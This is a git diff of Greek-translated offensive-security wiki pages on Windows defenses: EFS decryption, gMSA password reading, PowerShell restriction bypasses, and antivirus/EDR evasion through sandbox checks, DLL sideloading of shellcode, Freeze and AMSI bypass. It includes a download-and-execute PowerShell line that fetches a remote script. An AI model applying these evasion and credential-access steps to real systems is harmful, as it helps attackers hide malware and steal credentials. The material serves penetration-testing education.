Αυτή η μέθοδος κρυπτογράφησης επιτρέπει **διαφανή πρόσβαση** σε κρυπτογραφημένα αρχεία για τον κάτοχο. Ωστόσο, απλώς αλλάζοντας τον κωδικό πρόσβασης του κατόχου και συνδεόμενος δεν επιτρέπει την αποκρυπτογράφηση. Αυτή η μέθοδος κρυπτογράφησης επιτρέπει **διαφανή πρόσβαση** σε κρυπτογραφημένα αρχεία για τον κάτοχο. Ωστόσο, απλώς αλλάζοντας τον κωδικό πρόσβασης του κατόχου και συνδεόμενος δεν επιτρέπει την αποκρυπτογράφηση.
@ -115,26 +115,28 @@ sc query windefend
**Κύρια Σημεία**: **Κύρια Σημεία**:
- Το EFS χρησιμοποιεί ένα συμμετρικό FEK, κρυπτογραφημένο με το δημόσιο κλειδί του χρήστη. - Το EFS χρησιμοποιεί ένα συμμετρικό FEK, κρυπτογραφημένο με το δημόσιο κλειδί του χρήστη.
- Η αποκρυπτογράφηση χρησιμοποιεί το ιδιωτικό κλειδί του χρήστη για να αποκτήσει πρόσβαση στο FEK. - Η αποκρυπτογράφηση χρησιμοποιεί το ιδιωτικό κλειδί του χρήστη για πρόσβαση στο FEK.
- Αυτόματη αποκρυπτογράφηση συμβαίνει υπό συγκεκριμένες συνθήκες, όπως η αντιγραφή σε FAT32 ή η μετάδοση μέσω δικτύου. - Αυτόματη αποκρυπτογράφηση συμβαίνει υπό συγκεκριμένες συνθήκες, όπως η αντιγραφή σε FAT32 ή η μετάδοση μέσω δικτύου.
- Τα κρυπτογραφημένα αρχεία είναι προσβάσιμα στον κάτοχο χωρίς επιπλέον βήματα. - Τα κρυπτογραφημένα αρχεία είναι προσβάσιμα στον κάτοχο χωρίς επιπλέον βήματα.
### Έλεγχος πληροφοριών EFS ### Έλεγχος πληροφοριών EFS
Ελέγξτε αν ένας **χρήστης** έχει **χρησιμοποιήσει** αυτή την **υπηρεσία** ελέγχοντας αν υπάρχει αυτή η διαδρομή:`C:\users\<username>\appdata\roaming\Microsoft\Protect` Ελέγξτε αν ένας **χρήστης** έχει **χρησιμοποιήσει** αυτή την **υπηρεσία** ελέγχοντας αν υπάρχει αυτή η διαδρομή: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Ελέγξτε **ποιος** έχει **πρόσβαση** στο αρχείο χρησιμοποιώντας cipher /c \<file>\ Ελέγξτε **ποιος** έχει **πρόσβαση** στο αρχείο χρησιμοποιώντας cipher /c \<file>\
Μπορείτε επίσης να χρησιμοποιήσετε `cipher /e` και `cipher /d` μέσα σε έναν φάκελο για να **κρυπτογραφήσετε** και **αποκρυπτογραφήσετε** όλα τα αρχεία Μπορείτε επίσης να χρησιμοποιήσετε `cipher /e` και `cipher /d` μέσα σε έναν φάκελο για να **κρυπτογραφήσετε** και **αποκρυπτογραφήσετε** όλα τα αρχεία
### Αποκρυπτογράφηση αρχείων EFS ### Αποκρυπτογράφηση αρχείων EFS
#### Όντας Σύστημα Εξουσίας #### Όντας Αρχή Συστήματος
Αυτή η μέθοδος απαιτεί ο **θύμα χρήστης** να είναι **σε εκτέλεση** μια **διαδικασία** μέσα στον υπολογιστή. Αν αυτό ισχύει, χρησιμοποιώντας μια συνεδρία `meterpreter` μπορείτε να προσποιηθείτε το διακριτικό της διαδικασίας του χρήστη (`impersonate_token` από `incognito`). Ή μπορείτε απλώς να `migrate` στη διαδικασία του χρήστη. Αυτή η μέθοδος απαιτεί ο **θύμα χρήστης** να είναι **σε εκτέλεση** μια **διαδικασία** μέσα στον υπολογιστή. Αν αυτό ισχύει, χρησιμοποιώντας μια συνεδρία `meterpreter` μπορείτε να προσποιηθείτε το διακριτικό της διαδικασίας του χρήστη (`impersonate_token` από `incognito`). Ή μπορείτε απλώς να `migrate` στη διαδικασία του χρήστη.
#### Γνωρίζοντας τον κωδικό πρόσβασης του χρήστη #### Γνωρίζοντας τον κωδικό πρόσβασης του χρήστη
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %} {{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Ομαδικοί Διαχειριζόμενοι Λογαριασμοί Υπηρεσιών (gMSA) ## Ομαδικοί Διαχειριζόμενοι Λογαριασμοί Υπηρεσιών (gMSA)
@ -150,13 +152,13 @@ sc query windefend
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
Μπορείτε να διαβάσετε αυτόν τον κωδικό πρόσβασης με [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** Μπορείτε να διαβάσετε αυτόν τον κωδικό πρόσβασης με το [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
``` ```
/GMSAPasswordReader --AccountName jkohler /GMSAPasswordReader --AccountName jkohler
``` ```
[**Βρείτε περισσότερες πληροφορίες σε αυτή την ανάρτηση**](https://cube0x0.github.io/Relaying-for-gMSA/) [**Βρείτε περισσότερες πληροφορίες σε αυτή την ανάρτηση**](https://cube0x0.github.io/Relaying-for-gMSA/)
Επίσης, ελέγξτε αυτή τη [σελίδα](https://cube0x0.github.io/Relaying-for-gMSA/) σχετικά με το πώς να εκτελέσετε μια **επίθεση NTLM relay** για να **διαβάσετε** τον **κωδικό πρόσβασης** του **gMSA**. Επίσης, ελέγξτε αυτήν την [ιστοσελίδα](https://cube0x0.github.io/Relaying-for-gMSA/) σχετικά με το πώς να εκτελέσετε μια **επίθεση NTLM relay** για να **διαβάσετε** τον **κωδικό πρόσβασης** του **gMSA**.
## LAPS ## LAPS
@ -168,7 +170,7 @@ sc query windefend
## PS Constrained Language Mode ## PS Constrained Language Mode
Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **περιορίζει πολλές από τις δυνατότητες** που απαιτούνται για τη χρήση του PowerShell αποτελεσματικά, όπως η μπλοκάρισμα COM αντικειμένων, η επιτρεπόμενη χρήση μόνο εγκεκριμένων τύπων .NET, ροές εργασίας βασισμένες σε XAML, κλάσεις PowerShell και άλλα. Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **περιορίζει πολλές από τις δυνατότητες** που απαιτούνται για τη χρήση του PowerShell αποτελεσματικά, όπως η μπλοκάρισμα COM αντικειμένων, η επιτρεπόμενη μόνο χρήση εγκεκριμένων τύπων .NET, ροές εργασίας βασισμένες σε XAML, κλάσεις PowerShell και άλλα.
### **Έλεγχος** ### **Έλεγχος**
```powershell ```powershell
@ -195,7 +197,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
## Πολιτική Εκτέλεσης PS ## Πολιτική Εκτέλεσης PS
Από προεπιλογή είναι ρυθμισμένη σε **restricted.** Οι κύριοι τρόποι για να παρακάμψετε αυτήν την πολιτική: Από προεπιλογή είναι ρυθμισμένη σε **restricted.** Κύριοι τρόποι για να παρακάμψετε αυτή την πολιτική:
```powershell ```powershell
1º Just copy and paste inside the interactive PS console 1º Just copy and paste inside the interactive PS console
2º Read en Exec 2º Read en Exec
@ -225,7 +227,7 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel
### Main SSPs ### Main SSPs
- **Kerberos**: Η προτιμώμενη - **Kerberos**: Το προτιμώμενο
- %windir%\Windows\System32\kerberos.dll - %windir%\Windows\System32\kerberos.dll
- **NTLMv1** και **NTLMv2**: Λόγοι συμβατότητας - **NTLMv1** και **NTLMv2**: Λόγοι συμβατότητας
- %windir%\Windows\System32\msv1_0.dll - %windir%\Windows\System32\msv1_0.dll
@ -233,10 +235,10 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel
- %windir%\Windows\System32\Wdigest.dll - %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL και TLS - **Schannel**: SSL και TLS
- %windir%\Windows\System32\Schannel.dll - %windir%\Windows\System32\Schannel.dll
- **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί το πρωτόκολλο που θα χρησιμοποιηθεί (Kerberos ή NTLM, με το Kerberos να είναι το προεπιλεγμένο) - **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί το πρωτόκολλο που θα χρησιμοποιηθεί (Kerberos ή NTLM με το Kerberos να είναι το προεπιλεγμένο)
- %windir%\Windows\System32\lsasrv.dll - %windir%\Windows\System32\lsasrv.dll
#### Η διαπραγμάτευση μπορεί να προσφέρει πολλές μεθόδους ή μόνο μία. #### Η διαπραγμάτευση μπορεί να προσφέρει αρκετές μεθόδους ή μόνο μία.
## UAC - User Account Control ## UAC - User Account Control

View File

@ -6,7 +6,7 @@
## **Μεθοδολογία Απόφυγης AV** ## **Μεθοδολογία Απόφυγης AV**
Αυτή τη στιγμή, οι AV χρησιμοποιούν διάφορες μεθόδους για να ελέγξουν αν ένα αρχείο είναι κακόβουλο ή όχι, στατική ανίχνευση, δυναμική ανάλυση και για τα πιο προηγμένα EDRs, συμπεριφορική ανάλυση. Αυτή τη στιγμή, οι AV χρησιμοποιούν διάφορες μεθόδους για να ελέγξουν αν ένα αρχείο είναι κακόβουλο ή όχι, στατική ανίχνευση, δυναμική ανάλυση και για τις πιο προηγμένες EDRs, συμπεριφορική ανάλυση.
### **Στατική ανίχνευση** ### **Στατική ανίχνευση**
@ -18,7 +18,7 @@
- **Αποσυμπίεση** - **Αποσυμπίεση**
Μερικές φορές το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικές συμβολοσειρές στο δυαδικό ή σενάριο σας για να το περάσετε από τον AV, αλλά αυτό μπορεί να είναι μια χρονοβόρα εργασία ανάλογα με το τι προσπαθείτε να αποσυμπιέσετε. Μερικές φορές το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικές συμβολοσειρές στο δυαδικό ή το σενάριο σας για να περάσει από τον AV, αλλά αυτό μπορεί να είναι μια χρονοβόρα εργασία ανάλογα με το τι προσπαθείτε να αποσυμπιέσετε.
- **Προσαρμοσμένα εργαλεία** - **Προσαρμοσμένα εργαλεία**
@ -34,7 +34,7 @@
Η δυναμική ανάλυση είναι όταν ο AV εκτελεί το δυαδικό σας σε ένα sandbox και παρακολουθεί για κακόβουλη δραστηριότητα (π.χ. προσπαθώντας να αποκρυπτογραφήσει και να διαβάσει τους κωδικούς πρόσβασης του προγράμματος περιήγησης σας, εκτελώντας ένα minidump στο LSASS, κ.λπ.). Αυτό το μέρος μπορεί να είναι λίγο πιο δύσκολο να δουλέψετε, αλλά εδώ είναι μερικά πράγματα που μπορείτε να κάνετε για να αποφύγετε τα sandbox. Η δυναμική ανάλυση είναι όταν ο AV εκτελεί το δυαδικό σας σε ένα sandbox και παρακολουθεί για κακόβουλη δραστηριότητα (π.χ. προσπαθώντας να αποκρυπτογραφήσει και να διαβάσει τους κωδικούς πρόσβασης του προγράμματος περιήγησης σας, εκτελώντας ένα minidump στο LSASS, κ.λπ.). Αυτό το μέρος μπορεί να είναι λίγο πιο δύσκολο να δουλέψετε, αλλά εδώ είναι μερικά πράγματα που μπορείτε να κάνετε για να αποφύγετε τα sandbox.
- **Ύπνος πριν την εκτέλεση** Ανάλογα με το πώς έχει υλοποιηθεί, μπορεί να είναι ένας εξαιρετικός τρόπος για να παρακάμψετε την δυναμική ανάλυση του AV. Οι AV έχουν πολύ λίγο χρόνο για να σαρώσουν τα αρχεία ώστε να μην διακόψουν τη ροή εργασίας του χρήστη, οπότε η χρήση μεγάλων περιόδων ύπνου μπορεί να διαταράξει την ανάλυση των δυαδικών. Το πρόβλημα είναι ότι πολλά sandbox AV μπορούν απλά να παραλείψουν τον ύπνο ανάλογα με το πώς έχει υλοποιηθεί. - **Ύπνος πριν την εκτέλεση** Ανάλογα με το πώς έχει υλοποιηθεί, μπορεί να είναι ένας εξαιρετικός τρόπος για να παρακάμψετε την δυναμική ανάλυση του AV. Οι AV έχουν πολύ λίγο χρόνο για να σαρώσουν τα αρχεία ώστε να μην διακόψουν τη ροή εργασίας του χρήστη, οπότε η χρήση μεγάλων περιόδων ύπνου μπορεί να διαταράξει την ανάλυση των δυαδικών. Το πρόβλημα είναι ότι πολλά sandbox AV μπορούν απλά να παραλείψουν τον ύπνο ανάλογα με το πώς έχει υλοποιηθεί.
- **Έλεγχος πόρων μηχανής** Συνήθως, τα sandbox έχουν πολύ λίγους πόρους για να δουλέψουν (π.χ. < 2GB RAM), αλλιώς θα μπορούσαν να επιβραδύνουν τη μηχανή του χρήστη. Μπορείτε επίσης να γίνετε πολύ δημιουργικοί εδώ, για παράδειγμα ελέγχοντας τη θερμοκρασία της CPU ή ακόμη και τις ταχύτητες των ανεμιστήρων, δεν θα έχει όλα υλοποιηθεί στο sandbox. - **Έλεγχος πόρων μηχανής** Συνήθως, τα Sandbox έχουν πολύ λίγους πόρους για να δουλέψουν (π.χ. < 2GB RAM), αλλιώς θα μπορούσαν να επιβραδύνουν τη μηχανή του χρήστη. Μπορείτε επίσης να γίνετε πολύ δημιουργικοί εδώ, για παράδειγμα ελέγχοντας τη θερμοκρασία της CPU ή ακόμη και τις ταχύτητες των ανεμιστήρων, δεν θα έχει όλα υλοποιηθεί στο sandbox.
- **Έλεγχοι συγκεκριμένοι για τη μηχανή** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο σταθμός εργασίας είναι συνδεδεμένος στο τομέα "contoso.local", μπορείτε να κάνετε έναν έλεγχο στον τομέα του υπολογιστή για να δείτε αν ταιριάζει με αυτόν που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει. - **Έλεγχοι συγκεκριμένοι για τη μηχανή** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο σταθμός εργασίας είναι συνδεδεμένος στο τομέα "contoso.local", μπορείτε να κάνετε έναν έλεγχο στον τομέα του υπολογιστή για να δείτε αν ταιριάζει με αυτόν που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει.
Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με HAL9TH, σημαίνει ότι είστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει. Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με HAL9TH, σημαίνει ότι είστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει.
@ -49,18 +49,18 @@
Για παράδειγμα, αν θέλετε να κάνετε dump LSASS, **χρειάζεστε πραγματικά να χρησιμοποιήσετε το mimikatz**; Ή θα μπορούσατε να χρησιμοποιήσετε ένα διαφορετικό έργο που είναι λιγότερο γνωστό και επίσης κάνει dump LSASS. Για παράδειγμα, αν θέλετε να κάνετε dump LSASS, **χρειάζεστε πραγματικά να χρησιμοποιήσετε το mimikatz**; Ή θα μπορούσατε να χρησιμοποιήσετε ένα διαφορετικό έργο που είναι λιγότερο γνωστό και επίσης κάνει dump LSASS.
Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο επισημασμένα κομμάτια κακόβουλου λογισμικού από τους AV και EDRs, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης ένας εφιάλτης να δουλέψετε μαζί του για να παρακάμψετε τους AV, οπότε απλά αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να πετύχετε. Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο επισημασμένα κομμάτια κακόβουλου λογισμικού από τους AV και EDRs, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης ένας εφιάλτης να δουλέψετε μαζί του για να παρακάμψετε τους AV, οπότε απλά αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να επιτύχετε.
> [!NOTE] > [!NOTE]
> Όταν τροποποιείτε τα payload σας για αποφυγή, βεβαιωθείτε ότι έχετε **απενεργοποιήσει την αυτόματη υποβολή δειγμάτων** στον defender, και παρακαλώ, σοβαρά, **ΜΗΝ ΑΝΕΒΑΖΕΤΕ ΣΤΟ VIRUSTOTAL** αν ο στόχος σας είναι να επιτύχετε αποφυγή μακροπρόθεσμα. Αν θέλετε να ελέγξετε αν το payload σας ανιχνεύεται από έναν συγκεκριμένο AV, εγκαταστήστε το σε μια VM, προσπαθήστε να απενεργοποιήσετε την αυτόματη υποβολή δειγμάτων, και δοκιμάστε το εκεί μέχρι να είστε ικανοποιημένοι με το αποτέλεσμα. > Όταν τροποποιείτε τα payload σας για αποφυγή, βεβαιωθείτε ότι έχετε **απενεργοποιήσει την αυτόματη υποβολή δειγμάτων** στον defender, και παρακαλώ, σοβαρά, **ΜΗΝ ΑΝΕΒΑΖΕΤΕ ΣΤΟ VIRUSTOTAL** αν ο στόχος σας είναι να επιτύχετε αποφυγή μακροπρόθεσμα. Αν θέλετε να ελέγξετε αν το payload σας ανιχνεύεται από έναν συγκεκριμένο AV, εγκαταστήστε το σε μια VM, προσπαθήστε να απενεργοποιήσετε την αυτόματη υποβολή δειγμάτων και δοκιμάστε το εκεί μέχρι να είστε ικανοποιημένοι με το αποτέλεσμα.
## EXEs vs DLLs ## EXEs vs DLLs
Όποτε είναι δυνατόν, πάντα **προτιμήστε να χρησιμοποιείτε DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλυόμενα, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά). Όποτε είναι δυνατόν, πάντα **προτιμήστε να χρησιμοποιείτε DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλυόμενα, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά).
Όπως μπορούμε να δούμε σε αυτήν την εικόνα, ένα Payload DLL από το Havoc έχει ποσοστό ανίχνευσης 4/26 στο antiscan.me, ενώ το payload EXE έχει ποσοστό ανίχνευσης 7/26. Όπως μπορούμε να δούμε σε αυτήν την εικόνα, ένα DLL Payload από το Havoc έχει ποσοστό ανίχνευσης 4/26 στο antiscan.me, ενώ το EXE payload έχει ποσοστό ανίχνευσης 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>σύγκριση του κανονικού payload EXE του Havoc με ένα κανονικό DLL του Havoc</p></figcaption></figure> <figure><img src="../images/image (1130).png" alt=""><figcaption><p>σύγκριση του κανονικού EXE payload του Havoc με το κανονικό DLL του Havoc στο antiscan.me</p></figcaption></figure>
Τώρα θα δείξουμε μερικά κόλπα που μπορείτε να χρησιμοποιήσετε με αρχεία DLL για να είστε πολύ πιο διακριτικοί. Τώρα θα δείξουμε μερικά κόλπα που μπορείτε να χρησιμοποιήσετε με αρχεία DLL για να είστε πολύ πιο διακριτικοί.
@ -75,7 +75,7 @@ $binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
} }
``` ```
Αυτή η εντολή θα εξάγει τη λίστα των προγραμμάτων που είναι ευάλωτα σε DLL hijacking μέσα στον φάκελο "C:\Program Files\\" και τα αρχεία DLL που προσπαθούν να φορτώσουν. Αυτή η εντολή θα εξάγει τη λίστα των προγραμμάτων που είναι ευάλωτα σε DLL hijacking μέσα στο "C:\Program Files\\" και τα αρχεία DLL που προσπαθούν να φορτώσουν.
Συνιστώ ανεπιφύλακτα να **εξερευνήσετε τα προγράμματα που είναι επιρρεπή σε DLL Hijackable/Sideloadable μόνοι σας**, αυτή η τεχνική είναι αρκετά διακριτική αν γίνει σωστά, αλλά αν χρησιμοποιήσετε δημόσια γνωστά προγράμματα Sideloadable DLL, μπορεί να σας πιάσουν εύκολα. Συνιστώ ανεπιφύλακτα να **εξερευνήσετε τα προγράμματα που είναι επιρρεπή σε DLL Hijackable/Sideloadable μόνοι σας**, αυτή η τεχνική είναι αρκετά διακριτική αν γίνει σωστά, αλλά αν χρησιμοποιήσετε δημόσια γνωστά προγράμματα Sideloadable DLL, μπορεί να σας πιάσουν εύκολα.
@ -83,7 +83,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
**DLL Proxying** προωθεί τις κλήσεις που κάνει ένα πρόγραμμα από την proxy (και κακόβουλη) DLL στην αρχική DLL, διατηρώντας έτσι τη λειτουργικότητα του προγράμματος και επιτρέποντας την εκτέλεση του payload σας. **DLL Proxying** προωθεί τις κλήσεις που κάνει ένα πρόγραμμα από την proxy (και κακόβουλη) DLL στην αρχική DLL, διατηρώντας έτσι τη λειτουργικότητα του προγράμματος και επιτρέποντας την εκτέλεση του payload σας.
Θα χρησιμοποιήσω το έργο [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) από τον [@flangvik](https://twitter.com/Flangvik/) Θα χρησιμοποιήσω το έργο [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) από [@flangvik](https://twitter.com/Flangvik/)
Αυτά είναι τα βήματα που ακολούθησα: Αυτά είναι τα βήματα που ακολούθησα:
``` ```
@ -98,20 +98,22 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
``` ```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
``` ```
Αυτά είναι τα αποτελέσματα:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure> <figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Και οι δύο κωδικοί μας (κωδικοποιημένοι με [SGN](https://github.com/EgeBalci/sgn)) και η proxy DLL έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία. Και ο κώδικας μας (κωδικοποιημένος με [SGN](https://github.com/EgeBalci/sgn)) και η proxy DLL έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE] > [!NOTE]
> Σας **συνιστώ έντονα** να παρακολουθήσετε το [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) σχετικά με το DLL Sideloading και επίσης το [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) για να μάθετε περισσότερα σχετικά με όσα έχουμε συζητήσει πιο αναλυτικά. > Σας **συνιστώ έντονα** να παρακολουθήσετε το [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) σχετικά με το DLL Sideloading και επίσης το [βίντεο του ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) για να μάθετε περισσότερα σχετικά με όσα έχουμε συζητήσει πιο αναλυτικά.
## [**Freeze**](https://github.com/optiv/Freeze) ## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze είναι ένα εργαλείο payload για την παράκαμψη των EDRs χρησιμοποιώντας ανασταλμένες διαδικασίες, άμεσες syscalls και εναλλακτικές μεθόδους εκτέλεσης` `Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
Μπορείτε να χρησιμοποιήσετε το Freeze για να φορτώσετε και να εκτελέσετε τον κωδικό σας με διακριτικό τρόπο. Μπορείτε να χρησιμοποιήσετε το Freeze για να φορτώσετε και να εκτελέσετε τον κώδικά σας με διακριτικό τρόπο.
``` ```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2. 1. Generate some shellcode, in this case I used Havoc C2.
@ -125,7 +127,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (Διεπαφή Σάρωσης Κακόβουλου Λογισμικού) ## AMSI (Διεπαφή Σάρωσης Κακόβουλου Λογισμικού)
Η AMSI δημιουργήθηκε για να αποτρέπει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Αρχικά, οι AVs ήταν ικανοί να σαρώσουν μόνο **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιο τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα. Το AMSI δημιουργήθηκε για να αποτρέπει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Αρχικά, οι AVs ήταν ικανοί να σαρώνουν μόνο **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιο τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα.
Η δυνατότητα AMSI είναι ενσωματωμένη σε αυτά τα στοιχεία των Windows. Η δυνατότητα AMSI είναι ενσωματωμένη σε αυτά τα στοιχεία των Windows.
@ -137,33 +139,33 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
Επιτρέπει στις λύσεις antivirus να επιθεωρούν τη συμπεριφορά των σεναρίων εκθέτοντας το περιεχόμενο των σεναρίων με μορφή που είναι τόσο μη κρυπτογραφημένη όσο και μη αποκρυπτογραφημένη. Επιτρέπει στις λύσεις antivirus να επιθεωρούν τη συμπεριφορά των σεναρίων εκθέτοντας το περιεχόμενο των σεναρίων με μορφή που είναι τόσο μη κρυπτογραφημένη όσο και μη αποκρυπτογραφημένη.
Η εκτέλεση του `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` θα παράγει την ακόλουθη ειδοποίηση στο Windows Defender. Η εκτέλεση `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` θα παράγει την ακόλουθη ειδοποίηση στο Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Παρατηρήστε πώς προσθέτει `amsi:` και στη συνέχεια τη διαδρομή προς το εκτελέσιμο από το οποίο εκτελέστηκε το σενάριο, στην προκειμένη περίπτωση, powershell.exe Παρατηρήστε πώς προσθέτει `amsi:` και στη συνέχεια τη διαδρομή προς το εκτελέσιμο από το οποίο εκτελέστηκε το σενάριο, στην προκειμένη περίπτωση, powershell.exe
Δεν ρίξαμε κανένα αρχείο στον δίσκο, αλλά πάλι πιαστήκαμε στη μνήμη λόγω της AMSI. Δεν ρίξαμε κανένα αρχείο στον δίσκο, αλλά πάλι πιαστήκαμε στη μνήμη λόγω του AMSI.
Υπάρχουν μερικοί τρόποι για να παρακάμψετε την AMSI: Υπάρχουν μερικοί τρόποι για να παρακάμψετε το AMSI:
- **Αποκρυπτογράφηση** - **Αποκρυπτογράφηση**
Δεδομένου ότι η AMSI λειτουργεί κυρίως με στατικές ανιχνεύσεις, επομένως, η τροποποίηση των σεναρίων που προσπαθείτε να φορτώσετε μπορεί να είναι ένας καλός τρόπος για να αποφύγετε την ανίχνευση. Δεδομένου ότι το AMSI λειτουργεί κυρίως με στατικές ανιχνεύσεις, επομένως, η τροποποίηση των σεναρίων που προσπαθείτε να φορτώσετε μπορεί να είναι ένας καλός τρόπος για να αποφύγετε την ανίχνευση.
Ωστόσο, η AMSI έχει τη δυνατότητα να αποκρυπτογραφεί σενάρια ακόμη και αν έχει πολλαπλά επίπεδα, οπότε η αποκρυπτογράφηση μπορεί να είναι κακή επιλογή ανάλογα με το πώς γίνεται. Αυτό το καθιστά όχι και τόσο απλό να αποφευχθεί. Αν και, μερικές φορές, το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικά ονόματα μεταβλητών και θα είστε εντάξει, οπότε εξαρτάται από το πόσο έχει επισημανθεί κάτι. Ωστόσο, το AMSI έχει τη δυνατότητα να αποκρυπτογραφεί σενάρια ακόμη και αν έχει πολλαπλά επίπεδα, οπότε η αποκρυπτογράφηση μπορεί να είναι κακή επιλογή ανάλογα με το πώς γίνεται. Αυτό το καθιστά όχι και τόσο απλό να αποφευχθεί. Αν και, μερικές φορές, το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικά ονόματα μεταβλητών και θα είστε εντάξει, οπότε εξαρτάται από το πόσο έχει επισημανθεί κάτι.
- **Παράκαμψη AMSI** - **Παράκαμψη AMSI**
